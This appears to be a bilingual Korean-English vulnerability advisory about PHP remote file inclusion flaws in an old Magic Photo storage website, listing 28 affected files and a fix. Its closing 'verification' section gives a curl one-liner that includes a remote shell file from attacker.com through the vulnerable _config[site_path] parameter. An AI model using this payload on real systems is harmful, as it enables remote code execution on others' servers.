🇰🇷 한글 설명
Magic Photo 스토리지 웹사이트의 PHP 원격 파일 포함(RFI) 취약점으로, _config[site_path] 파라미터 조작을 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. admin/, include/, user/ 디렉토리의 28개 이상의 파일이 영향을 받습니다.
💡 쉬운 설명
웹사이트가 사용자 입력을 제대로 검증하지 않아 공격자가 원격 서버의 악성 파일을 실행시킬 수 있는 취약점입니다. 로그인 없이 누구나 공격할 수 있어 위험합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in magic photo storage website allow remote attackers to execute arbitrary PHP code via a URL in the _config[site_path] parameter to (1) admin_password.php, (2) add_welcome_text.php, (3) admin_email.php, (4) add_templates.php, (5) admin_paypal_email.php, (6) approve_member.php, (7) delete_member.php, (8) index.php, (9) list_members.php, (10) membership_pricing.php, or (11) send_email.php in admin/; (12) config.php or (13) db_config.php in include/; or (14) add_category.php, (15) add_news.php, (16) change_catalog_template.php, (17) couple_milestone.php, (18) couple_profile.php, (19) delete_category.php, (20) index.php, (21) login.php, (22) logout.php, (23) register.php, (24) upload_photo.php, (25) user_catelog_password.php, (26) user_email.php, (27) user_extend.php, or (28) user_membership_password.php in user/. NOTE: the include/common_function.php vector is already covered by another candidate from the same date.
📍 영향받는 시스템
Magic Photo 스토리지 웹사이트 (특정 버전 미기재, 2007년경)
⚔️ 공격 벡터
HTTP GET/POST 요청을 통해 _config[site_path] 파라미터에 원격 파일 URL을 주입하여 임의의 PHP 코드 실행
🛡️ 대응 방법
웹사이트를 최신 버전으로 업데이트하고 입력값 검증(화이트리스트) 및 파일 포함 함수 사용 제한 적용
🔧 검증 코드
PHP 오류 메시지나 원격 파일의 콘텐츠가 반환되면 취약점 존재 확인. 정상 응답이면 패치됨
curl -s 'http://target/admin/admin_password.php?_config[site_path]=http://attacker.com/shell.txt%00' | head -20